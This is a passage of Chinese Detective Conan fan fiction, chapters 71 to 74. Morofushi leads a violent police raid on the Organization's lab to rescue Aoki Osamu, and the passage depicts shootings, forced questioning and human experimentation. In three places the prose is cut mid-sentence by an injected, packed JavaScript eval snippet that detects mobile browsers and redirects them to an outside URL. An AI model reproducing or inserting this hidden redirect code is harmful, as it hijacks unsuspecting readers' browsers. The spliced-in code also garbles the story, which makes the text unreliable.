梦境中青木修倒下时瞳孔中他的倒影是那么的清晰,一度让诸伏景光自我怀疑那究竟是梦还是现实。 “景光,你在想什么?” 警视厅食堂里,诸伏高明注意到诸伏景光的心不在焉。 面对兄长,诸伏景光终于能暂时把肩上的担子稍稍放一放。 脊背笔挺的警官忽然塌下肩膀,声音听起来闷闷的。 “哥哥,你说如果我利用一个人对我的感情伤害了他很多次怎么办?” 正在吃饭的诸伏高明有那么一瞬的错愕,他没想到弟弟卧底期间居然还会有这种事。 诸伏景光没有注意到兄长短暂的惊讶,继续自顾自地说,“他从来没有计较过我骗他、利用他的事情,甚至还救了我一命。” “那个人现在在哪里?” 诸伏高明第一反应是把人找到,两个人坐下来好好谈一谈或许效果会更好。 谁料听了他的话诸伏景光的头埋得更低了。 “他为了救我……被组织带走了。而且我总有一种不好的预感,总觉得他可能会在行动里出事,有没有什么办法能避免?” 在诸伏景光心里,哥哥一直都是那个无所不能的诸葛孔明。 “子遇避之,反促遇之。” 诸伏高明看着弟弟的发旋,语气轻柔,“你越是想要逃避,事情就越有可能发生,方才碰到伊达警官,他说你这段时间一直有些心神不宁的原因就是这个吧?” 诸伏景光有些泄气地点点头。 “景光,逃避解决不了任何问题,你越是觉得有不好的事情会发生,越是要行动起来,在行动中注意细节,纠正错误。” “至于你说的那个人……” 诸伏高明觉得事情似乎并不像弟弟说的那么简单。 “你们都会好好的,安定下来以后找机会,坐下来好好把话说开吧——不管是道歉也好,还是别的什么。” 诸伏景光把诸伏高明的话听进了心里。 在兄长的陪伴下,他睡了出院以来的第一个好觉。 71.第 71 章 诸伏高明也陪不了诸伏景光太久,兄弟两人又凑在一起匆匆吃了一顿晚饭,诸伏景光就送哥哥坐上了返回长野的车。 经过一下午的短暂休整,诸伏景光恢复了不少精神,目送诸伏高明的车离开警视厅范围后立刻回到工位继续工作。 会议开了一轮又一轮,各方代表在一起打过无数次口水仗,终于敲定了一个获得绝大多数赞成的行动时间。 “诸伏,降谷发来消息,他会留在东京基地拖住琴酒他们,鸟取县那边就要靠你了。” 组织似乎也从空气中嗅到了一丝不妙的消息,降谷零这段时间在其中完全无法抽身,只能时不时用最高密令和黑田兵卫进行简短的联系。 诸伏景光清楚地知道琴酒并不是什么好对付的角色,更何况绝大多数代号成员这段时间都留在东京内,随时可以支援东京基地。 “zero那边……” 黑田兵卫知道他在担心什么,宽慰道:“放心吧,我们在东京这边留了充足的人手支援降谷。” 有了他的这句话,诸伏景光放心下不少,越是到这最后关头,他越是希望所有人都能拥有一个圆满的结局。 哥哥说得对,未来不可预测,只有亲身参与其中,才有改变掉结局的可能。 简短和需要留驻在东京的同事们告别过之后,诸伏景光带领小队搭上直飞鸟取的飞机。 “贝尔摩德前几天已经回美国了。” 赤井秀一坐在诸伏景光的对面,两人正在对接消息。 “这很正常,”诸伏景光挑眉,“毕竟美国才是她的大本营,组织很敏感,这段时间他们已经感觉到不妙了,贝尔摩德这时候回到美国才能让她更安心。” “她应该不太好抓。” 赤井秀一虽然这么说着,但丝毫没有因此头疼的样子。 贝尔摩德背后牵扯到的势力太多,她本人的身份也很特殊,FBI要想抓到人并且成功定罪几乎是一件不可能的事情。 “没关系,组织倒了对她的限制也有很多。” 这一架直升飞机上的乘客都是和他们两个关系最近的同事,说话可以没那么多顾忌。 诸伏景光的指尖在枪身上来回敲打了很多次,最终还是没有忍住询问赤井秀一。 “在美国的那段时间发生了什么?” 他有问过青木修,但是对方对这个话题讳莫如深,一直不愿意和他详细说,他也并不方便追问。 赤井秀一难得有些底气不足。 “呃……这确实是我们FBI的错误。”许下承诺把人带走结果差点让人把命丢了什么的实在是太丢脸了。 “啊……”诸伏景光想起了什么,“你之前好像是说……‘肃清FBI的被渗透人员’对吧?” 他已经隐隐约约猜到青木修会突然返回日本的原因了。 赤井秀一有些尴尬的摸了摸鼻子。 “这确实是我们的失误……” 诸伏景光露出了一个表示理解的表情,就像他一开始也没想到组织的人会渗透进入警视厅,甚至还能和公安有所接触。 “我当时需要接受隔离审查,就把他暂时安顿在了FBI所属的一家疗养院,但是疗养院的负责人是组织的人。” 话说到这里,诸伏景光已经能明白了一切。 “我明白了。” 从青木修当时的反应来看,赤井秀一口中所说的实验室应当和实验室差不了太多。 “他其实很好,如果不是生长在组织里……” “是啊,他确实很好。” 诸伏景光脸上不自觉地浮现出了浅浅的笑意。 如果不是从小在组织里长大,以青木修的能力,足以让他在任何一个领域都能闪闪发光。 只可惜世界上没有如果。 直升机上对其他人或多或少都认识或者对青木修有过一些了解,见话题发展到这里,不约而同都有些陷入沉默。 在他们认知里的青木修,不管是亲眼见到还是通过其他人的叙述了解到,都能深刻感受到他是一个温和,善良,积极乐观的人,如果不是刻意提起,没有人会把他和那个吃人不吐骨头的组织联想到一起去。 和诸伏景光不同,他们觉得时间已经过去了这么久,青木修还活着的概率其实并不高。 当然,这只是他们内心的想法,并不会当着诸伏景光的面说出来。 这个看起来良善的警官黑起脸的样子可不是人人都敢招惹的。 “马上要到了。” 驾驶员的声音把众人的思绪从半空中拉了回来。 “准备准备,都别出岔子。” 赤井秀一拍拍手,提醒其他人及时调整好状态,FBI最优秀的探员先生此刻拿出了他的专业素养,沉着下令的样子让诸伏景光一时间无法把他和那个威士忌小组里时不时毒舌不着调的黑麦联系在一起。 诸伏景光拍拍脸,把注意力掉转回视野中已经可以远远眺望到的豪华建筑。 他们这一小队被黑田兵卫安排前往地理位置最偏僻刁钻的黄昏别馆。 等他们到了现场才发现,这座别馆的实际位置和地图上标注的有所差别。 在地图上,这座别馆应该建在别墅区的最边缘位置,但实际上它坐落于别墅区之外紧邻的一个山谷里,两侧的山体虽然不算太高,但对于别馆来说无疑是一道天然的保护。 “这里已经是能降落的最近的位置了,剩下的路程需要靠你们自己走。” 诸伏景光没有让所有的直升机都降落在一处位置,而是让他们从四个方向分别降落,以包围之势向别馆靠近。 他和赤井秀一这一支分队无疑是主力军,走的是最冒险的一条路,面对的防卫力量也是最强。 赤井秀一调整好瞄准镜走在最前面寻找合适的位置进行狙击,诸伏景光在下方带领着小队进行突进。 他们特意挑选了夜晚的时间开始行动,这样既隐蔽了自己人的行踪,但同时也给他们自己的行动带来了不便。 “其他人到位了吗?” “二队到位。” “三队到位。” “四队到位。” 赤井秀一也发来了他的观察结果。 诸伏景光深吸一口气,果断命令道:“所有人按原计划行动。” 几乎是在同一刻,接收到命令的小队瞬间开始向黄昏别馆接近。 夜风呼啸,带动着山林中的草木发出“沙沙”声,完美的遮盖住几支小队行动时制造出的动静。 “你说朗姆大人让我们在这里守着到底是要干什么……” 一名趴在高处的狙击手通过耳机百无聊赖地朝着队友抱怨,夜里温度很低,他们却因为不能影响 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14471854|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到行动而不能穿太厚的衣物来防寒。 “谁让朗姆大人地位比我们高呢?与其在这里抱怨,还不如想想办法怎么抓几个人比较实际。” “切,你这家伙……” 话说到一半,同伴忽然听见对讲机里发出一阵杂音。 “喂喂,你没事吧?” 似乎是耳机掉落进草丛的声音。 “没事,”对面很快有了答复,“耳机掉地上了。” “还以为你出什么事了。” 他没有把这个小小的插曲放在心上,像他们这种人之间并没有什么战友情,死一个同伴对他们来说还意味着少了一个竞争对手,乐得清闲。 诸伏景光把耳机挂回了已经死去的狙击手耳朵上,打手势示意来两个人把他拖进灌木丛先藏起来。 “等一下,你们两点钟方向二百米,还有一名狙击手。” 耳机中传来赤井秀一的声音,他们这一队人立刻就地隐藏起来。 约莫三分钟的时间过去,只听赤井秀一淡淡道:“搞定了。” 他们后半程的速度稍微放慢了些,一是防止进度太快被发现,二来也方便赤井秀一追上他们大部队。 “前方已经没有狙击手了,我们的挑战都在下面。” 抵达山体最高点,赤井秀一又上树简单观察了下前方的路。 “明白。” 诸伏景光点点头,一边询问了其他三支小队的进度。 在得知只有二队那边遇到了一点问题,并且没有惊动别馆里的人,他们继续向下进发。 别馆的位置很刁钻,处在山谷中的一个大平台上,如果想要进入别馆就避不开惊动里面的人。 但至少晚一些让里面的人得到消息,就能让这些家伙少一些时间做准备。 只是诸伏景光没有想到,速度最快的第四小队还没有接近别馆就被发现了。 “诸伏景光,他们有热成像设备!” 在剧烈的交火声中,诸伏景光听见了小队长的汇报。 他低声骂了一句,眼看着原计划是用不成了,他秉持着兵贵神速的理念当机立断让所有人不再隐藏,将速度提到最快准备强攻。 在他下命令的时间,赤井秀一将这一消息同步传给了指挥中心。 黑田兵卫立刻就知道他们这是来对地方了,表示会另外再派出两支队伍前来支援。 黄昏别馆的防卫力量不容小觑,但是论经验,他们却比不过诸伏景光和赤井秀一两人。 面对下方的枪林弹雨,两人丝毫不慌张,一人负责指挥他们所在的这支小队,另外一人负责指挥另外三支小队相互配合行动。 原本驻守在这里的狙击手也完全没有用武之地,刚一露头就立刻被诸伏景光或者是赤井秀一端掉,让他们连下黑手的机会都没有。 诸伏景光换掉一个弹夹,一抬手打出一梭子弹解决掉前方的人,另一只手抓住身边反应慢了一步的技术警察,一个箭步冲到了通往别馆内部的大门前。 “赤井秀一!” 他喊了一嗓子,后者立刻会意,清理掉身边的几个人之后站到了诸伏景光背后,替他们守住身后。 “快想办法!” 诸伏景光心中焦急万分,就算黑田兵卫会派人来支援他们也来不了这么快,他还不想还没进去就被消耗掉了有生力量。 72.第 72 章 好在这名黑田兵卫千挑万选才挑出来的技术公安没有愧对于上司对他的肯定,三两下竟然真的把大门给捣鼓开了。 诸伏景光没有让他在解锁的瞬间就开门,而是让赶到大门附近的所有人都就地找好隐藏,这才侧着身子把门打开。 只听一阵破空声,诸伏景光背贴大门躲开,接着抬起胳膊对着门内盲射一通,这才和赤井秀一小心冒头继续向内前进。 尽管他们一切行动已经尽可能的争分夺秒,但从第四小队被发现到现在也过去了不算少的时间,别馆内部的人做了不少准备,他们人还没全部进来,大门处就被切断了道路。 从耳机中得知第三小队还没能进来,诸伏景光果断让带有重火力的他们尝试从别馆顶部突入。 别馆一层是一个相当空旷的大厅,尽头处的两部电梯显得格外有嫌疑,赤井秀一和诸伏景光对视一眼,互相领着人从大厅两侧开始贴着墙向电梯靠近。 看似平静的大厅暗藏玄机,不知道什么时候就会从某个犄角旮旯里冒出来一队手持火力的安保,常常打得他们猝不及防。 短短几十米的距离,两队人前进的速度却极为缓慢。 “你先带着人过去。” 两波人都耗在这里对行动没好处,诸伏景光和赤井秀一一对眼神,前者果断让后者带人先全力向电梯靠近。 诸伏景光一打手势,其他人立刻在赤井秀一小队的掩护下奔向两侧的电梯。 他们直接跳过了电梯需要身份认证这一步骤,强行破开了电梯门。 队员用手电一照,很快看出了两部电梯的区别。 “诸伏警官,两部电梯的电梯井深度不对。” 诸伏景光探头一看,推测出两部电梯分别通往别馆上下。 回想起黄昏别馆的外观,诸伏景光不得不又分出一些人出来顺着电梯井向上爬。 “地上总共有三层,除开第一层不算还有两层需要搜,你们几个小心点,有什么情况及时联系,不要硬抗。” 火力再一次被分散,诸伏景光不得不打起一百二十分的精神带领剩下的人顺着电梯井里的检修梯向下出发。 下行的过程还算顺利,他们停在了地下一层的电梯门前。 带有破门工具的几名警察爬到最下方弯腰开始破门,诸伏景光则端起枪时刻防备着另一端的人。 “等等!” 眼看着门已经打开了一条缝,诸伏景光却眼疾手快地把两人拉回来。 负责破门的警察还没反应过来怎么回事,被按动的电梯从他们的面前走过。 眼看着电梯最后停止在头顶不动,诸伏景光确定前去支援的人已经顺利上了一楼,这才让两人继续破门。 得益于地下一层的人分出了一部分支援一楼,诸伏景光他们在这一层的搜寻难度降低了不少。 整个地下一层的结构和地下一层截然不同,一眼看不到尽头的走廊两侧布满了狭窄的房间。 一间间破门时间上肯定来不及,诸伏景光他们只能先和这里的安保展开交火。 躲掉一发从背后打来的冷枪,诸伏景光顺势滚到了一名安保身后,抽出绑在腿边的匕首挑断对方的腿部筋腱。 他一个鲤鱼打挺从地上站起来,揪起倒地的安保替自己挡了两枪。 从安保攻过来的方向来看,这里绝对不止电梯这一个通道,得益于这一层的构造,他们没费什么功夫就发现了一个安全通道。 如此想来,当初在一楼从不同方向冒出来的人应该也是走的这一条道。 一路打到走廊尽头,他们才找到一个看上去像是办公室的房间。 飞起一脚踹开门,门内最深处躲着几个手里拿着手术刀的白大褂正瑟瑟发抖的缩成一团。 诸伏景光知道这些人绝对不像他们看上去这般手无缚鸡之力,直接拽起一个逼问,“地下总共有几层?你们这一层是干什么的?” 他没有直接询问青木修的去向。 见对方试图消极抵抗,诸伏景光也没有多和他废话,对准他心口抬起手就是一枪。 枪声激起了一阵惊叫,他缓缓抬起眼睛掂了掂手中的枪,“就算没有你们我也能摸清这里,现在只是给你们一个活下去的机会而已。” 在威逼利诱之下,很快就有人扛不住了,倒豆子似的把自己知道的东西一股脑全都说了出来。 有了第一个人开头,剩下的人也没什么好再沉默的,一个个都开了口。 从他们的交代里诸伏景光得知这一层是用来关押各种各样的实验材料的地方,他们一路上看到的房间里关押的有人类,也有动物。 “你们的负责人在哪里?” “左山先生和他的团队都在地下三层。” 诸伏景光下了个套,顺手还知道了这里负责人的姓氏。 “杜林标呢?” 他们虽然只是一些照料实验体的普通人员,但是对于这个名字也不算陌生,“他应该和左山先生在一起。” 诸伏景光没有多余的人力留下来看守他们,只好就地取材把他们捆在一起拷上,至于小房间里关押着的人,只能先委屈他们等支援来。 地下二层和地下一层的布局稍有区别,大平层被切割成了大大小小很多个实验室。 哪怕是早从青木修口中窥见一些实验室残忍的诸伏景光也没想到真正看到组织的实验室会给自己带来这么大的冲击。 有几个心理素质不行的更是当场吐了出来。 做他们这一行的不是没见过死人,但是他们却从来没见过如此超越想象力的人体实验画面。 被解剖开半边身体还活着的人、长着奇怪肿瘤的人。没了半截身子的人…… 诸伏景光的喉结上下滚动,极力想压下窜上嗓子眼的呕吐感。 组织丧心病狂的程度已经超乎了正常人类的想象范畴。 这还只是地下二层,诸伏景光不得不为青木修的情况捏了一把汗。 相对应的,地下二层的看守人员也几乎要比地下一层多上一倍,诸伏景光正要换弹匣,一模腰间竟然空了。 眨眼的时间,一发子弹已经擦着他的胳膊飞了过去,擦破了一片血肉。 来不及处理伤口,诸伏景光只能再次掏出匕首和身边的看守肉搏。 这里的看守明显都是手上沾着人命的专业人员,下手招招致命,逼得诸伏景光也只能歇了抓俘虏的心思和他们拼命。 硬抗下背后的一记重击,他抬腿撂倒身前一人,接着头也不回的反手一划—— 匕首传来阻滞感,他立刻知道这是击中了。 一条腿踩住地上那人的重点部位,诸伏景光弯腰躲避的同时撤回手向下一刀毙命。 他的身边逐渐躺下了不少人,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14475172|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是诸伏景光的体力也在这样无休止的车轮战下逐渐被消耗,攻击的动作渐渐有了迟钝感。 “嘶……” 侧腰不知被谁划开一刀伤口,疼痛让他一瞬间清醒了不少,几乎是凭着本能的躲开了侧方的一刀。 但这也让诸伏景光绊到了身边已经倒下的看守,自己重重摔倒在地上。 不远处一名看守已经发现了他,几乎是立刻端起了手中的枪。 诸伏景光做好了挨一枪的准备,谁想枪声响起,疼痛却没有如预料中袭来。 “接着。” 是赤井秀一带人赶到了。 他抬手丢给诸伏景光一包弹匣,一刻也不停,“刚刚联系你们没人回话。” 诸伏景光想起来耳机里似乎确实是有过动静,但刚刚他们都忙着应付这些仿佛会原地刷新的看守,一时间竟然没人注意到赤井秀一他们。 赤井秀一一看现场就猜出了他们刚刚的遭遇,也没有多说什么,只是简短交代道:“零君带着增援赶来了,我让他们向上走和第三小队汇合。” “zero来了?” 诸伏景光知道按照计划,东京基地那边最先开始行动,但没想到降谷零居然会这么快。 “贝尔摩德回了美国,琴酒不在,那边剩下的人和朗姆都不成气候。” 诸伏警官闻言心头一跳,声音都拔高了好几度,“琴酒不在?!” 琴酒怎么会不在?他这种人物,难道不应该和组织共存亡? 赤井秀一显然也有点疑惑,“就在我们出入境的前三个小时,他搭乘飞机去了欧洲。” 那里有着组织第二大分部,就算是欧洲那边会和他们一起动手,仅凭那边不同机构之间的矛盾和上层的想法,也能知道那边不可能把组织分部斩草除根。 但是现在并不是探讨琴酒离开日本的良好时机,就在他们说这几句话的功夫,又不知道从哪里涌出来了一批人。 赤井秀一抬腿把一个还在发愣的警察踹开,诸伏景光顺势补了一枪。 有了赤井秀一带来的人手,诸伏景光一队人一改先前的疲惫,重新打起精神和这些安保们鏖战在一起。 “你带人把电梯和安全通道守住,先把这些人处理一下。” 将这一批增援尽数击毙,诸伏景光把枪甩到背后,擦了把脸,打破了实验室之间的玻璃隔档。 已经进行过实验的受害人他们暂时没有办法处理,但是对于这些正在进行的实验,他们通通叫停。 在生与死面前,这些实验人员非常明智的做出了最优选择。 他们比上一层的人还要聪明,甚至连抵抗都没有,诸伏景光只是随便问了几句他们就全部招了。 这里面还有一个左山先生从团队中留下来的指导员,据他的交代,乌丸莲耶也在地下三层。 事不宜迟,诸伏景光当即就要带着稍作休整的小队向下前进,通讯频道里忽然传来降谷零的声音。 “赤井秀一,你上来和我换一下。” 诸伏景光心立刻提了起来,“出什么事了?” “没什么大事,就是第三小队留守在楼顶的人说远处似乎来了一批组织的人,狙击手不够,让赤井秀一上来帮帮忙。” 即便看赤井秀一有些不满,但降谷零也知道现在不是逞能的时候,十分自然的想到了把人叫来和自己换一换位置。 73.第 73 章 降谷零特意在通讯里补充道:“如果没有出错的话,领头的人应该是朗姆。” 在围剿东京基地的时候,警方想要得知更多有关组织分部的消息,故意留了一个漏洞让朗姆逃了出去,现在应该就是他带着自己的一些亲信来鸟取这边检查BOSS的状况。 赤井秀一立刻明白了降谷零想要抓活的言下之意,两人在楼梯中相遇时简单交换了个眼神,互相确认了对方的意思。 诸伏景光他们的脚步并没有因为赤井秀一的离开而停下,在降谷零和赤井秀一交换位置的间隙,他们继续向着最危险的地下三层进发。 许是考虑到安全通道的作用,地下三层的连接处并没有完全封死,简单上锁的大门没费什么力气就被他们攻破。 虽然两人只有几面之缘,但诸伏景光还是凭借直觉一眼抓出了被众多人护在身后,目眦欲裂的白大褂就是左山先生无疑。 他几乎是立刻就锁定目标,以雷霆之势斩开面前所有的阻碍。 降谷零刚从安全通道探出个头,一眼便看见了已经杀红了眼走在最前面的诸伏景光。 他心知这时候想要拦住诸伏景光恐怕不太可能,自己现在的职责就是守护好诸伏景光的后背。 诸伏景光势如破竹的进攻也让他自己身上挂了不少彩,但他就像是不知道痛一样麻木的前进,眼中仿佛只剩下了左山先生这一个目标。 随身的弹匣再一次用尽,诸伏景光果断撇下抢和层层守卫开始肉搏。 虽然有些不合时宜,但跟着诸伏景光一路杀过来的警察们还是有些不可避免的分心。 原因无他,他们从未见过诸伏景光如此可怖的神情。 总是面带和善微笑的警官现在浑身浴血,活像是从地狱里爬出来的阎魔修罗。 “青木修在哪里?” 顶着迎面飞来的子弹,诸伏景光终于抬手抓住了左山先生。 常年沉浸于实验的文弱书生根本不是他的对手,左山先生被诸伏景光勒住脖颈,沾满血的匕首抵上他的大动脉。 左山先生仅仅是一个深呼吸,锋利的刀尖便划破了他颈侧的皮肉,拖出一道细长的血痕。 骤然被问起“青木修”这个名字,左山先生思考了一瞬才记起来这似乎是杜林标的名字。 “你……猜猜看?” 组织敏锐的嗅觉不是没有发觉这段时间的异常,想起他们的计划,左山先生忍着疼痛和窒息感,挣扎着做出了一个狰狞的表情。 早就听说过苏格兰和杜林标的感情不一般,如此看来倒是真的。 想到应当已经有所行动的杜林标,左山先生顿时觉得他的恶意被极大的满足。 诸伏景光见他这副死猪不怕开水烫的表情就想要动手,奈何这家伙是组织的重要成员,他不能在非紧急的情况下擅自终结对方的生命。 但这不代表他什么都做不了,匕首下移来到左山先生的手腕处,诸伏景光毫不留情的就是一刀。 这一下虽不至于伤及左山先生的动脉,但也足以给这位研究员珍贵的手造成无法逆转的伤害。 “最后问你一次,青木修在哪里?” 左山先生也被这阵疼痛激怒,他也知道诸伏景光不可能在这里杀了自己,抓住这一点,他不断地开口刺激对方。 “你永远也别想再见到他!你以为他跟你是一个世界的人吗?做梦!” 诸伏景光忍无可忍,冲着左山先生正脸来了几拳,直接把人打昏过去。 他们周围的安保还没有被全部清理干净,这些人似乎是得了命令,一看左山先生被抓,第一目标竟然变成了收割这家伙的性命。 眼看着朝自己围过来的人越来越多,诸伏景光一个人双拳难敌四手,更何况还带着左山先生这么一个拖油瓶,只能战术性的边打边退,重新和降谷零的大部队汇合上。 降谷零也看出追过来的人大多是奔着左山先生而来,果断把诸伏景光推去了队伍后方,“看好他!” 诸伏景光会意,带着左山先生找了个相对安全的位置以守为攻,暂时把人护住。 “这些家伙没完没了了吗?” 纵使是降谷零,看见这么多不知道是从哪里冒出来的敌人也有些头疼,但听通讯里赤井秀一他们的消息,楼上也已经交火,领头的来人正是朗姆,看样子是想趁乱把乌丸莲耶带出去。 一时半会儿是得不到赤井秀一的增援了,但这么一直耗下去也不是办法,谁知道乌丸莲耶有没有后手安排人救他出去。降谷零果断点出一支小队,集合火力为他们开辟出一条路,先行一步进去搜寻乌丸莲耶的踪迹。 前来围堵他们的安保见有人突破了防线,转身就要追,但这一动乱反而让他们乱了阵脚,诸伏景光和降谷零两人抓住机会把他们反包围了起来。 “想跑?” 把不省人事的左山先生找了个角落把人捆结实,诸伏景光弯腰捡起了一把不知是谁掉落在地上的枪。 “刚刚你们可不是这样的。” 与他的话音同时落地的,是子弹出膛的声音。 . 青木修这段时间一直和这位名叫乌丸莲耶的老者待在一个房间里。 这些奇怪的实验员说他的血型和这位救了他的先生相匹配,现在需要他的血来救人。 他们用着询问的语气,动作却丝毫不见想要征求他意见的样子,抽血的针头直直扎进血管。 青木修茫然地注视着鲜红的血从自己的身体里流出,仿佛抽走的不是他的血,而是他的生命力。 不知道这些人给他用的药有什么奇怪的成分,青木修总觉得自己的脑袋昏昏沉沉,人也没什么力气。 他心中有太多的疑问,但这里的人并不怎么关注他的想法,每天除了例行地抽血和送药之外几乎和他没什么交流,就算是他问起来,所有人反反复复也不过是同一套说辞。 时间久了,青木修也聪明的学会了沉默,选择用他的眼睛无声地观察这些人。 肉眼可见的,每次领着一大帮人来给他做检查的那位先生这段时间变得有些焦躁不安,那副看上去就是伪装出来的和善面孔好几次都没绷住,在他面前破了功。 青木修感觉自己像是被囚禁了起来,每天和一个看上去随时就会断气的活死人待在一起的感觉一点也不好受,不健康的交流甚至让他都有些不知道该怎么与人沟通。 他想要出去看看。 这个念头在心中越来越强烈,但他不动声色,没让任何人看出来。 他预感的这一天终于到来了。 长期的封闭环境让他早就失去了对时间的感知,不知道是哪一天的白天或是黑夜,左山先生带着人匆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14483290|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 匆打开门,兜头扔给了他一套衣服和一把枪。 “换上。” 在他们进来的刹那,青木修就从浅眠中瞬间惊醒。 似是遇到了什么很紧急的事件,左山先生在他面前干脆装也不装了,黑着脸让人上来给他取走了两袋血又给他打了针。 骤然失去大量血液让青木修有些头晕,他勉强站稳了身子把地上看上去像是作训服的东西换上,又捡起了那把枪。 很奇怪,他明明没有记忆,但是枪抱在怀里的感觉却是异常熟悉。 “有一些坏事的家伙要对先生不利,”左山先生目光幽深的看着他,里面是青木修一时半会儿读不懂的情绪,“我们现在要为先生做转移的准备,只能麻烦你先照顾一下他。” 青木修定定地看着他,没有同意也没有拒绝。 “这是你的救命恩人,不要让他受到伤害好吗?” 左山先生进一步加注,“等这件事过去,你的伤也好的差不多了,我们就会安排人送你离开。” 果然,这句话一出口,青木修的眼睛登时就亮了起来。 “我会保护好先生的。” 得到他的保证,左山先生又简单交代了几句诸如“不要离开这个房间”的话便带着人匆匆离去,看样子这里真的是遇上了什么不得了的大事。 这个房间的隔音很好,外面的动静基本上传不进来。 诡异的寂静让青木修有些不安,他抱着枪,慢慢踱步到门口的位置守着。 抽血让他的眼皮很沉重,恍惚间他似乎做了一个梦,梦里有一个人告诉他,他叫青木修。 “青木修……” 他骤然清醒过来,环视了一圈房间确定无人后又重新低下头,低声呢喃着这个名字。 脑袋忽然很痛,痛得叫他几乎拿不稳手里的枪。 似乎有什么东西要从蒙尘的记忆里破土而出。 青木修还没来得及顺着线索仔细去回想,厚重的房门突然被炸开。 躲闪不及的他被迎面掀了一头一脸的飞灰。 “不许动!” 烟尘还未散尽,破洞外先传来了人声。 青木修眼睛进了灰有些睁不开,但肌肉记忆还是让他顺着声源来的方向开了枪。 这一枪似乎没有击中,但至少给了他睁眼的机会。 从来人的装束上看似乎是警察,青木修就算是没有记忆也知道警察的职责是什么。 这样一来,这段时间左山先生等人对他说的话就很值得考量了。 一时半会儿弄不清情况,这些警察又不给他问话的机会,青木修不得不先把他们打晕。 “唔!” 头盔帮他挨了一枪托,青木修踉跄一步眼冒金星,一手撑墙才勉强站稳。 也就是这一瞬的功夫,他扶住墙的手掌被子弹贯穿。 青木修疼得一哆嗦,转身重新放倒背后不知什么时候重新爬起来对他放冷枪的警察。 这些人让他费了不少神,青木修靠着墙喘息几声,甩了甩自己还在汩汩冒血的手,从乌丸莲耶身下的床单撕了一截布条简单把伤口扎住。 他的眼前一阵阵发黑,心跳越来越快,与之而来的不安感也越来越强。 隐隐约约听见不远处的人声,他犹豫了片刻,端起枪小心翼翼地跨出被炸开的房门。 74.第 74 章 诸伏景光他们费了不小的工夫才把这些清道夫们处理干净,降谷零派出的先遣小队一直没有传来一星半点的消息,这让两个人都隐隐感觉到了不妙。 “恐怕里面还有人守着乌丸莲耶。” 两人对视一眼,背靠着背走在前方,小心地向更深处摸去。 绕过好几个拐角,诸伏景光举枪护在身前,小心翼翼地探出半个脑袋飞快地冲着里面瞟了一眼。 不远处走廊中心的位置洒了一地碎石,不用说也知道这里应当就是乌丸莲耶的藏身之处。 他侧着耳朵听了会儿,里面很安静,想来守着乌丸莲耶的人应当是得了命令不能随意离开,就在房间里近身保护着人。 担忧失去联络的同僚们的生命安全,降谷零躬下身子冲着身后的队员们飞快打了几个手势做出安排。 这种时候他和诸伏景光当仁不让在前方打头阵。 为了不打草惊蛇,他们一行人把行动速度降低到最缓,每一步都几乎贴着地面潜行。 “咔啦。” 很轻很轻的响动,却惊得诸伏景光他们霎时停住脚步,几乎是眨眼般的速度三步并作两步撤回一开始的拐角。 青木修端着枪,抬脚迈过被警察炸出来的破洞,一不小心踩上了几颗碎石,制造出了一点响动。 尽管来人已经竭尽所能把动作放到最轻,但依旧没有瞒过青木修的耳朵。 他的脚步顿住,谨慎地端起枪四下观察了一圈,寻找着最有可能藏人的地方。 拐角的诸伏景光死死盯着迈出来的这只脚,心跳越来越快,以至于额头上都浮起了一层冷汗。 与原本预想中即将抓到乌丸莲耶的激动欣喜不同,这种心跳加速的感觉似乎在昭示着某种不安。 他们还没找到青木修。 诸伏景光想,一路上走过那么多地方,或许是墙壁里还有隐藏门他们没有发现,先抓住乌丸莲耶,他就可以暂时把这里交给降谷零,专心去寻找青木修的下落了。 经验让青木修的目光准确无误地停在了诸伏景光他们用以藏身的拐角。 他吞了口口水,抓紧了枪身的握把,蹑手蹑脚地迈出下一步—— 他此刻心跳如鼓,向一记记重锤一样落在耳边,不断敲击着他的大脑。 浑身倒竖的寒毛在不断叫嚣着提醒他前方危险,但即将破土而出的记忆却又不断地鼓动他继续前行。 去吧,去吧…… 仿佛有一个声音在他的耳边低声吟唱,青木修原本聚焦的目光变得有些失焦,整个人有些机械木讷地往前走。 说不清楚自己现在的状态,他没有刻意隐藏自己的脚步声。 诸伏景光早在判断出来人朝着他们走来的时候便收回了视线,背后紧紧贴着墙,不让自己暴露出一丁点身形。 青木修的脑海中出现了一个身影,此人的面容随着他前进的步伐一点点变得清晰。 他最先辨认出的,是诸伏景光那一双极具代表性的猫眼。 青木修的嘴唇开开合合,无声地念叨着什么。 无处不在的剧痛和脑海中诸伏景光逐渐清晰的身影分走了青木修绝大部分的注意力,以至于他都没有注意到自己即将走到拐角尽头,也因此忽视了浅浅伸出的枪口。 仅仅是一个呼吸的时间,躲在拐角后的人就冲着青木修的方向开了盲枪。 